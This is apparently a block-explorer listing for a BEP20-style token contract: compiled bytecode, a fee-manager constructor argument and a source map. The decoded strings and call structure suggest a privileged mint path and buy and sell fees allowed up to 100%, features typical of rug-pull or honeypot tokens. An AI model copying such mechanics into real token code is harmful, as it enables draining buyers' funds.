00000000000000600052602260045260246000fd5b60006002820490506001821680612b0057607f821691505b602082108103612b1357612b12612ab9565b5b50919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612b4f60148361274b565b9150612b5a82612b19565b602082019050919050565b60006020820190508181036000830152612b7e81612b42565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000612bbb60168361274b565b9150612bc682612b85565b602082019050919050565b60006020820190508181036000830152612bea81612bae565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000612c2760198361274b565b9150612c3282612bf1565b602082019050919050565b60006020820190508181036000830152612c5681612c1a565b9050919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000612c93601a8361274b565b9150612c9e82612c5d565b602082019050919050565b60006020820190508181036000830152612cc281612c86565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000612cff601b8361274b565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b6000604082019050612d4a600083018561292e565b612d57602083018461292e565b9392505050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000612dba60238361274b565b9150612dc582612d5e565b604082019050919050565b60006020820190508181036000830152612de981612dad565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612e26601f8361274b565b9150612e3182612df0565b602082019050919050565b60006020820190508181036000830152612e5581612e19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e9682612855565b9150612ea183612855565b9250828202612eaf81612855565b91508282048414831517612ec657612ec5612e5c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f0782612855565b9150612f1283612855565b925082612f2257612f21612ecd565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000612f6360178361274b565b9150612f6e82612f2d565b602082019050919050565b60006020820190508181036000830152612f9281612f56565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000612fcf60108361274b565b9150612fda82612f99565b602082019050919050565b60006020820190508181036000830152612ffe81612fc2565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b600061303b60148361274b565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c82612855565b915061308783612855565b925082820390508181111561309f5761309e612e5c565b5b92915050565b60006130b082612855565b91506130bb83612855565b92508282019050808211156130d3576130d2612e5c565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b600061310f60118361274b565b915061311a826130d9565b602082019050919050565b6000602082019050818103600083015261313e81613102565b905091905056fea2646970667358221220dad08af55e10e1230f01185210248c5e39a2596f0b8077a3ddab568a847f477b64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000051cb5ef7e0396b5b320c3f33c78f3218eb93f6d3

-----Decoded View---------------
Arg [0] : _feeManager (address): 0x51cB5EF7e0396b5B320C3f33c78f3218Eb93f6D3

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000051cb5ef7e0396b5b320c3f33c78f3218eb93f6d3


Deployed Bytecode Sourcemap

1055:7978:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1116:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3770:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4090:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1194:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4221:1124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1611:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7509:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1255:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6349:342;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5819:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5747:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1583:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7873:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1291:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5503:138;;;;;;;;;;;;;:::i;:::-;;5354:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1527:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2953:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1154:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3314:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6700:798;;;:::i;:::-;;2410:377;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1495:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1469:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1342:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1554:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8018:625;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1116:31;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3770:216::-;3837:12;3896:6;3862:9;:21;3872:10;3862:21;;;;;;;;;;;;;;;:31;3884:8;3862:31;;;;;;;;;;;;;;;:40;;;;3939:8;3918:38;;3927:10;3918:38;;;3949:6;3918:38;;;;;;:::i;:::-;;;;;;;;3974:4;3967:11;;3770:216;;;;:::o;4090:122::-;4147:4;6186:48;6005:230;;:10;:230;;;:318;;;;6318:5;;;;;;;;;;;6304:19;;:10;:19;;;6005:318;5997:327;;;;;;4160:26:::1;4167:10;4179:6;4160;:26::i;:::-;4200:4;4193:11;;4090:122:::0;;;:::o;1194:54::-;;;;:::o;4221:1124::-;4304:12;4357:7;4337:9;:16;4347:5;4337:16;;;;;;;;;;;;;;;;:27;;4329:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;4440:7;4408:9;:16;4418:5;4408:16;;;;;;;;;;;;;;;:28;4425:10;4408:28;;;;;;;;;;;;;;;;:39;;4400:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;4508:1;4493:17;;:3;:17;;;4485:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4554:11;4568:29;4593:3;4568:20;4580:7;;4568;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4554:43;;4608:22;4633:16;4645:3;4633:7;:11;;:16;;;;:::i;:::-;4608:41;;4682:29;4703:7;4682:9;:16;4692:5;4682:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4663:9;:16;4673:5;4663:16;;;;;;;;;;;;;;;:48;;;;4739:34;4758:14;4739:9;:14;4749:3;4739:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4722:9;:14;4732:3;4722:14;;;;;;;;;;;;;;;:51;;;;4805:3;4789:36;;4798:5;4789:36;;;4810:14;4789:36;;;;;;:::i;:::-;;;;;;;;4849:1;4843:3;:7;4839:207;;;4946:33;4975:3;4946:9;:24;4964:4;4946:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4919:9;:24;4937:4;4919:24;;;;;;;;;;;;;;;:60;;;;5023:4;4999:35;;5008:5;4999:35;;;5030:3;4999:35;;;;;;:::i;:::-;;;;;;;;4839:207;5072:10;5063:19;;:5;:19;;;;:72;;;;;5118:17;5086:9;:16;5096:5;5086:16;;;;;;;;;;;;;;;:28;5103:10;5086:28;;;;;;;;;;;;;;;;:49;;5063:72;5059:254;;;5183:41;5216:7;5183:9;:16;5193:5;5183:16;;;;;;;;;;;;;;;:28;5200:10;5183:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;5152:9;:16;5162:5;5152:16;;;;;;;;;;;;;;;:28;5169:10;5152:28;;;;;;;;;;;;;;;:72;;;;5260:10;5244:57;;5253:5;5244:57;;;5272:9;:16;5282:5;5272:16;;;;;;;;;;;;;;;:28;5289:10;5272:28;;;;;;;;;;;;;;;;5244:57;;;;;;:::i;:::-;;;;;;;;5059:254;5333:4;5326:11;;;;4221:1124;;;;;:::o;1611:22::-;;;;:::o;7509:353::-;7605:4;;;;;;;;;;;7591:18;;:10;:18;;;7583:27;;;;;;7642:3;7629:9;:16;;7621:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;7709:3;7695:10;:17;;7687:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7764:9;7755:6;:18;;;;7794:10;7784:7;:20;;;;7820:34;7832:9;7843:10;7820:34;;;;;;;:::i;:::-;;;;;;;;7509:353;;:::o;1255:26::-;;;;;;;;;;;;;:::o;6349:342::-;8878:48;8697:230;;:10;:230;;;:318;;;;9010:5;;;;;;;;;;;8996:19;;:10;:19;;;8697:318;8689:327;;;;;;6471:3:::1;6458:9;:16;;6450:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;6538:3;6524:10;:17;;6516:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;6593:9;6584:6;:18;;;;6623:10;6613:7;:20;;;;6649:34;6661:9;6672:10;6649:34;;;;;;;:::i;:::-;;;;;;;;6349:342:::0;;:::o;5819:137::-;5865:4;5900:5;;;;;;;;;;;5886:19;;:10;:19;;;5878:28;;;;;;5922:4;5917;;:9;;;;;;;;;;;;;;;;;;5944:4;5937:11;;5819:137;;;:::o;5747:63::-;5796:4;6186:48;6005:230;;:10;:230;;;:318;;;;6318:5;;;;;;;;;;;6304:19;;:10;:19;;;6005:318;5997:327;;;;;;5747:63;:::o;1583:21::-;;;;:::o;7873:136::-;7919:4;7954;;;;;;;;;;;7940:18;;:10;:18;;;7932:27;;;;;;7975:4;7970;;:9;;;;;;;;;;;;;;;;;;7997:4;7990:11;;7873:136;;;:::o;1443:19::-;;;;;;;;;;;;;:::o;1291:44::-;;;;;;;;;;;;;;;;;:::o;5503:138::-;6186:48;6005:230;;:10;:230;;;:318;;;;6318:5;;;;;;;;;;;6304:19;;:10;:19;;;6005:318;5997:327;;;;;;5601:1:::1;5565:39;;5586:5;;;;;;;;;;;5565:39;;;;;;;;;;;;5631:1;5615:5;;:18;;;;;;;;;;;;;;;;;;5503:138::o:0;5354:140::-;5402:4;5437;;;;;;;;;;;5423:18;;:10;:18;;;5415:27;;;;;;5459:5;5453;;:11;;;;;;;;;;;;;;;;;;5482:4;5475:11;;5354:140;;;:::o;1527:20::-;;;;;;;;;;;;;:::o;1416:::-;;;;;;;;;;;;;:::o;2953:352::-;3002:4;3205:48;3024:230;;:10;:230;;;3015:240;;;;;;3271:4;3266;;:9;;;;;;;;;;;;;;;;;;3293:4;3286:11;;2953:352;;;:::o;1154:33::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3314:145::-;3362:4;3397;;;;;;;;;;;3383:18;;:10;:18;;;3375:27;;;;;;3409:26;3416:10;3428:6;3409;:26::i;:::-;3449:4;3442:11;;3314:145;;;:::o;6700:798::-;6761:1;6749:9;:13;6741:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6816:14;6833:9;6816:26;;6866:1;6857:6;;:10;6853:638;;;6884:11;6898:27;6921:3;6898:18;6909:6;;6898;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6884:41;;6940:22;6965:15;6976:3;6965:6;:10;;:15;;;;:::i;:::-;6940:40;;7022:41;7048:14;7022:9;:21;7032:10;;;;;;;;;;;7022:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6998:9;:21;7008:10;;;;;;;;;;;6998:21;;;;;;;;;;;;;;;:65;;;;7107:10;;;;;;;;;;;7083:51;;7100:4;7083:51;;;7119:14;7083:51;;;;;;:::i;:::-;;;;;;;;7162:1;7156:3;:7;7152:175;;;7211:33;7240:3;7211:9;:24;7229:4;7211:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7184:9;:24;7202:4;7184:24;;;;;;;;;;;;;;;:60;;;;7300:4;7268:43;;7285:4;7268:43;;;7307:3;7268:43;;;;;;:::i;:::-;;;;;;;;7152:175;6869:469;;6853:638;;;7383:33;7409:6;7383:9;:21;7393:10;;;;;;;;;;;7383:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7359:9;:21;7369:10;;;;;;;;;;;7359:21;;;;;;;;;;;;;;;:57;;;;7460:10;;;;;;;;;;;7436:43;;7453:4;7436:43;;;7472:6;7436:43;;;;;;:::i;:::-;;;;;;;;6853:638;6730:768;6700:798::o;2410:377::-;2474:12;2532:7;2507:9;:21;2517:10;2507:21;;;;;;;;;;;;;;;;:32;;2499:41;;;;;;2574:1;2559:17;;:3;:17;;;2551:26;;;;;;2615:34;2641:7;2615:9;:21;2625:10;2615:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2591:9;:21;2601:10;2591:21;;;;;;;;;;;;;;;:58;;;;2677:27;2696:7;2677:9;:14;2687:3;2677:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;2660:9;:14;2670:3;2660:14;;;;;;;;;;;;;;;:44;;;;2741:3;2720:34;;2729:10;2720:34;;;2746:7;2720:34;;;;;;:::i;:::-;;;;;;;;2775:4;2768:11;;2410:377;;;;:::o;1495:25::-;;;;;;;;;;;;;:::o;1469:19::-;;;;;;;;;;;;;:::o;1342:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1554:19::-;;;;;;;;;;;;;:::o;8018:625::-;8100:7;8075:9;:21;8085:10;8075:21;;;;;;;;;;;;;;;;:32;;8067:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;8146:11;8160:29;8185:3;8160:20;8172:7;;8160;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;8146:43;;8200:22;8225:16;8237:3;8225:7;:11;;:16;;;;:::i;:::-;8200:41;;8279:34;8305:7;8279:9;:21;8289:10;8279:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8255:9;:21;8265:10;8255:21;;;;;;;;;;;;;;;:58;;;;8351:44;8380:14;8351:9;:24;8369:4;8351:24;;;;;;;;;;;;;;;;:28;;:44;;;;:::i;:::-;8324:9;:24;8342:4;8324:24;;;;;;;;;;;;;;;:71;;;;8440:4;8411:51;;8420:10;8411:51;;;8447:14;8411:51;;;;;;:::i;:::-;;;;;;;;8486:1;8480:3;:7;8476:160;;;8531:33;8560:3;8531:9;:24;8549:4;8531:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8504:9;:24;8522:4;8504:24;;;;;;;;;;;;;;;:60;;;;8613:4;8584:40;;8593:10;8584:40;;;8620:3;8584:40;;;;;;:::i;:::-;;;;;;;;8476:160;8056:587;;8018:625;:::o;3470:291::-;3562:1;3543:21;;:7;:21;;;3535:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3624:23;3640:6;3624:11;;:15;;:23;;;;:::i;:::-;3610:11;:37;;;;3675:30;3698:6;3675:9;:18;3685:7;3675:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;3654:9;:18;3664:7;3654:18;;;;;;;;;;;;;;;:51;;;;3738:7;3717:37;;3734:1;3717:37;;;3747:6;3717:37;;;;;;:::i;:::-;;;;;;;;3470:291;;:::o;437:236::-;495:7;524:1;519;:6;515:47;;549:1;542:8;;;;515:47;572:9;588:1;584;:5;;;;:::i;:::-;572:17;;617:1;612;608;:5;;;;:::i;:::-;:10;600:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;664:1;657:8;;;437:236;;;;;:::o;682:365::-;740:7;772:1;768;:5;760:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;816:1;812;:5;;;;:::i;:::-;805:12;;682:365;;;;:::o;102:148::-;160:7;193:1;188;:6;;180:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;241:1;237;:5;;;;:::i;:::-;230:12;;102:148;;;;:::o;259:169::-;317:7;337:9;353:1;349;:5;;;;:::i;:::-;337:17;;378:1;373;:6;;365:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;419:1;412:8;;;259:169;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:474::-;4826:6;4834;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4758:474;;;;;:::o;5238:86::-;5273:7;5313:4;5306:5;5302:16;5291:27;;5238:86;;;:::o;5330:112::-;5413:22;5429:5;5413:22;:::i;:::-;5408:3;5401:35;5330:112;;:::o;5448:214::-;5537:4;5575:2;5564:9;5560:18;5552:26;;5588:67;5652:1;5641:9;5637:17;5628:6;5588:67;:::i;:::-;5448:214;;;;:::o;5668:329::-;5727:6;5776:2;5764:9;5755:7;5751:23;5747:32;5744:119;;;5782:79;;:::i;:::-;5744:119;5902:1;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5873:117;5668:329;;;;:::o;6003:118::-;6090:24;6108:5;6090:24;:::i;:::-;6085:3;6078:37;6003:118;;:::o;6127:222::-;6220:4;6258:2;6247:9;6243:18;6235:26;;6271:71;6339:1;6328:9;6324:17;6315:6;6271:71;:::i;:::-;6127:222;;;;:::o;6355:474::-;6423:6;6431;6480:2;6468:9;6459:7;6455:23;6451:32;6448:119;;;6486:79;;:::i;:::-;6448:119;6606:1;6631:53;6676:7;6667:6;6656:9;6652:22;6631:53;:::i;:::-;6621:63;;6577:117;6733:2;6759:53;6804:7;6795:6;6784:9;6780:22;6759:53;:::i;:::-;6749:63;;6704:118;6355:474;;;;;:::o;6835:180::-;6883:77;6880:1;6873:88;6980:4;6977:1;6970:15;7004:4;7001:1;6994:15;7021:320;7065:6;7102:1;7096:4;7092:12;7082:22;;7149:1;7143:4;7139:12;7170:18;7160:81;;7226:4;7218:6;7214:17;7204:27;;7160:81;7288:2;7280:6;7277:14;7257:18;7254:38;7251:84;;7307:18;;:::i;:::-;7251:84;7072:269;7021:320;;;:::o;7347:170::-;7487:22;7483:1;7475:6;7471:14;7464:46;7347:170;:::o;7523:366::-;7665:3;7686:67;7750:2;7745:3;7686:67;:::i;:::-;7679:74;;7762:93;7851:3;7762:93;:::i;:::-;7880:2;7875:3;7871:12;7864:19;;7523:366;;;:::o;7895:419::-;8061:4;8099:2;8088:9;8084:18;8076:26;;8148:9;8142:4;8138:20;8134:1;8123:9;8119:17;8112:47;8176:131;8302:4;8176:131;:::i;:::-;8168:139;;7895:419;;;:::o;8320:172::-;8460:24;8456:1;8448:6;8444:14;8437:48;8320:172;:::o;8498:366::-;8640:3;8661:67;8725:2;8720:3;8661:67;:::i;:::-;8654:74;;8737:93;8826:3;8737:93;:::i;:::-;8855:2;8850:3;8846:12;8839:19;;8498:366;;;:::o;8870:419::-;9036:4;9074:2;9063:9;9059:18;9051:26;;9123:9;9117:4;9113:20;9109:1;9098:9;9094:17;9087:47;9151:131;9277:4;9151:131;:::i;:::-;9143:139;;8870:419;;;:::o;9295:175::-;9435:27;9431:1;9423:6;9419:14;9412:51;9295:175;:::o;9476:366::-;9618:3;9639:67;9703:2;9698:3;9639:67;:::i;:::-;9632:74;;9715:93;9804:3;9715:93;:::i;:::-;9833:2;9828:3;9824:12;9817:19;;9476:366;;;:::o;9848:419::-;10014:4;10052:2;10041:9;10037:18;10029:26;;10101:9;10095:4;10091:20;10087:1;10076:9;10072:17;10065:47;10129:131;10255:4;10129:131;:::i;:::-;10121:139;;9848:419;;;:::o;10273:176::-;10413:28;10409:1;10401:6;10397:14;10390:52;10273:176;:::o;10455:366::-;10597:3;10618:67;10682:2;10677:3;10618:67;:::i;:::-;10611:74;;10694:93;10783:3;10694:93;:::i;:::-;10812:2;10807:3;10803:12;10796:19;;10455:366;;;:::o;10827:419::-;10993:4;11031:2;11020:9;11016:18;11008:26;;11080:9;11074:4;11070:20;11066:1;11055:9;11051:17;11044:47;11108:131;11234:4;11108:131;:::i;:::-;11100:139;;10827:419;;;:::o;11252:177::-;11392:29;11388:1;11380:6;11376:14;11369:53;11252:177;:::o;11435:366::-;11577:3;11598:67;11662:2;11657:3;11598:67;:::i;:::-;11591:74;;11674:93;11763:3;11674:93;:::i;:::-;11792:2;11787:3;11783:12;11776:19;;11435:366;;;:::o;11807:419::-;11973:4;12011:2;12000:9;11996:18;11988:26;;12060:9;12054:4;12050:20;12046:1;12035:9;12031:17;12024:47;12088:131;12214:4;12088:131;:::i;:::-;12080:139;;11807:419;;;:::o;12232:332::-;12353:4;12391:2;12380:9;12376:18;12368:26;;12404:71;12472:1;12461:9;12457:17;12448:6;12404:71;:::i;:::-;12485:72;12553:2;12542:9;12538:18;12529:6;12485:72;:::i;:::-;12232:332;;;;;:::o;12570:222::-;12710:34;12706:1;12698:6;12694:14;12687:58;12779:5;12774:2;12766:6;12762:15;12755:30;12570:222;:::o;12798:366::-;12940:3;12961:67;13025:2;13020:3;12961:67;:::i;:::-;12954:74;;13037:93;13126:3;13037:93;:::i;:::-;13155:2;13150:3;13146:12;13139:19;;12798:366;;;:::o;13170:419::-;13336:4;13374:2;13363:9;13359:18;13351:26;;13423:9;13417:4;13413:20;13409:1;13398:9;13394:17;13387:47;13451:131;13577:4;13451:131;:::i;:::-;13443:139;;13170:419;;;:::o;13595:181::-;13735:33;13731:1;13723:6;13719:14;13712:57;13595:181;:::o;13782:366::-;13924:3;13945:67;14009:2;14004:3;13945:67;:::i;:::-;13938:74;;14021:93;14110:3;14021:93;:::i;:::-;14139:2;14134:3;14130:12;14123:19;;13782:366;;;:::o;14154:419::-;14320:4;14358:2;14347:9;14343:18;14335:26;;14407:9;14401:4;14397:20;14393:1;14382:9;14378:17;14371:47;14435:131;14561:4;14435:131;:::i;:::-;14427:139;;14154:419;;;:::o;14579:180::-;14627:77;14624:1;14617:88;14724:4;14721:1;14714:15;14748:4;14745:1;14738:15;14765:410;14805:7;14828:20;14846:1;14828:20;:::i;:::-;14823:25;;14862:20;14880:1;14862:20;:::i;:::-;14857:25;;14917:1;14914;14910:9;14939:30;14957:11;14939:30;:::i;:::-;14928:41;;15118:1;15109:7;15105:15;15102:1;15099:22;15079:1;15072:9;15052:83;15029:139;;15148:18;;:::i;:::-;15029:139;14813:362;14765:410;;;;:::o;15181:180::-;15229:77;15226:1;15219:88;15326:4;15323:1;15316:15;15350:4;15347:1;15340:15;15367:185;15407:1;15424:20;15442:1;15424:20;:::i;:::-;15419:25;;15458:20;15476:1;15458:20;:::i;:::-;15453:25;;15497:1;15487:35;;15502:18;;:::i;:::-;15487:35;15544:1;15541;15537:9;15532:14;;15367:185;;;;:::o;15558:173::-;15698:25;15694:1;15686:6;15682:14;15675:49;15558:173;:::o;15737:366::-;15879:3;15900:67;15964:2;15959:3;15900:67;:::i;:::-;15893:74;;15976:93;16065:3;15976:93;:::i;:::-;16094:2;16089:3;16085:12;16078:19;;15737:366;;;:::o;16109:419::-;16275:4;16313:2;16302:9;16298:18;16290:26;;16362:9;16356:4;16352:20;16348:1;16337:9;16333:17;16326:47;16390:131;16516:4;16390:131;:::i;:::-;16382:139;;16109:419;;;:::o;16534:166::-;16674:18;16670:1;16662:6;16658:14;16651:42;16534:166;:::o;16706:366::-;16848:3;16869:67;16933:2;16928:3;16869:67;:::i;:::-;16862:74;;16945:93;17034:3;16945:93;:::i;:::-;17063:2;17058:3;17054:12;17047:19;;16706:366;;;:::o;17078:419::-;17244:4;17282:2;17271:9;17267:18;17259:26;;17331:9;17325:4;17321:20;17317:1;17306:9;17302:17;17295:47;17359:131;17485:4;17359:131;:::i;:::-;17351:139;;17078:419;;;:::o;17503:170::-;17643:22;17639:1;17631:6;17627:14;17620:46;17503:170;:::o;17679:366::-;17821:3;17842:67;17906:2;17901:3;17842:67;:::i;:::-;17835:74;;17918:93;18007:3;17918:93;:::i;:::-;18036:2;18031:3;18027:12;18020:19;;17679:366;;;:::o;18051:419::-;18217:4;18255:2;18244:9;18240:18;18232:26;;18304:9;18298:4;18294:20;18290:1;18279:9;18275:17;18268:47;18332:131;18458:4;18332:131;:::i;:::-;18324:139;;18051:419;;;:::o;18476:194::-;18516: